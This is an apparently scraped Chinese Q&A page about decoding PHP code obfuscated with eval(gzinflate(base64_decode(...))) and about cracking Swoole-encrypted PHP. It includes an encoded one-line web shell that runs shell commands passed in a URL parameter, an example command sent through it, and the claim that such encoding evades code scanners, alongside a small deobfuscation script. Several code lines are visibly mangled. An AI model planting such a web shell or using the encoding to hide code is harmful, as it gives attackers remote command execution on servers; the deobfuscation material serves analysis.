你可以编辑一个php文件,输入
<php echo
gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=="));
>
然后运行这个文件 php testphp 就能看到结果了。
这种方式是很弱的加密,但能避开很多代码检测工具。很多wordpress的插件和木马都采用这种模式。
wordpress常footer进行加密,因为里面包含作者的链接和申明,如果去掉这行代码,整个页面就不能正确显示。
木马可以通过这种隐秘的方式传入一段代码让php执行,像上面的例子,结果是 echo `$_REQUEST[a]`;; > 所以你在URL里传入 /?a=ls -al; 就会列出当前目录下所有文件。
恩,这是一款有扩展的加密,其实swoole解密很简单,要解密它,就先了解一下它是怎么工作的。
它的执行步骤是:①加密时获取PHP整个文件的代码 → ②对代码进行加密 → ③通过扩展对代码进行解密 → ④对解密代码进行opcode处理 → ⑤执行PHP代码。
所以解密就需要对他的扩展dll(windows下用)或so(Linux下用)文件分析。现在说说怎么解密它,解密方式有二种:
方法A:针对PHP执行的时候进行破解
方法B:针对PHP解密的时候进行破解
先说说方法A,“针对PHP执行的时候进行破解”,也就是在上面的第⑤个步骤才开始处理,但是此时,PHP代码是经过opcode处理过的,而且破解方法较烦琐,需要处理很多语法,所破解出来的代码,和文件的原代码也有所不一样(可能有10%的地方不同,不过这个不同,也有很多人喜欢,因为它会把原代码中复杂的语法破解成很多条简单的语法),既然是破解,就要100%一样,所以这个方法我个人认为并不是好方法。
所以用方法B:“针对PHP解密的时候进行破解”,也就是在上面的第③个步骤就进行处理,此时解密出来的和用户原代码完全一样,具体破解方法是不会公布的了,人家是一款商业软件。有兴趣的可以自己去学习分析,不过可以提一下,关键点在于从它的扩展文件(dll或so)分析出它的加密函数和加密密码,然后用这个对密文进行解密(解密前要排除掉前面的一些特征代码)。
这样加密作者很无赖和变态,因为明明知道这样的加密破解是易如反掌的,而却还变态的把代码加密无数次。
我写了下面两个PHP文件:
//BPHP
<php
$str=file_get_contents('2txt');
while (preg_match("/eval\(gzinflate\(str_rot13\(base64_decode\('([^'])'/",$str,$match)){
$fp=fopen('1txt','w');
fputs($fp,$match[1]);
fclose($fp);
system('php aphp');
$str=file_get_contents('2txt');
}
>
//APHP
<php
$str=file_get_contents('1txt');
$str=base64_decode($str);
$str=str_rot13($str);
$str=gzinflate($str);
$fp=fopen('2txt','w');
fputs($fp,$str);
fclose($fp);
>
把你的代码保存为2TXT,在CMD下运行下面的命令:
PHP BPHP
过一会程序执行完毕,2TXT就是解密后的代码。
解密后的程序代码如下:
function isEmpty($str){
if(($str==null) || (strlen($str)==0))
return(false);
else return(true);}
function zSubStr($string,$sublen)
{
if($sublen>=strlen($string))
{
return $string;
}
$s="";
for($i=0;$i<$sublen;$i++)
{
if(ord($string{$i})>127)
{
$s=$string{$i}$string{++$i};
continue;
}else{
$s=$string{$i};
continue;
}
}
return $s;
}
$str_j ='e';
$msgc=zSubStr($msgc,10);
$uname=zSubStr($uname,9);
$font = "/fonts/FZWBJWTTF";
$font1 = "/fonts/TattooTTF";
$imp = imagecreatefromJPEG('images/7jpg');
$dim=getimagesize('images/7jpg');
$lung=$dim[0];
$lat=$dim[1];
$im = imagecreatetruecolor($lung,$lat);
$white = imagecolorallocate($im,255,255,255);
imagecolortransparent($im,$white);
ImageCopyResampled($im,$imp,0,0,0,0,$lung,$lat,$lung,$lat);
imagefill($im,0,0,$white );
$str_m = iconv("GB2312","UTF-8","$msgc");
$str_u = iconv("GB2312","UTF-8","$uname");
$green = imagecolorallocate($im,42,108,107);
ImageTTFText($im,15,0,200,249,$green,$font,$str_m);
ImageTTFText($im,15,0,200,220,$green,$font,$str_u);
ImageTTFText($im,50,0,100,245,$green,$font1,$str_j);
header("content-type:image/jpeg");
imagejpeg($im);
imagedestroy($im);
以上就是关于PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)))全部的内容,包括:PHP解密..不懂php,解密eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)))、我是php新手,请问swoole怎么解密呢、求 php 解密eval(gzinflate(str_rot13(base64_decode等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)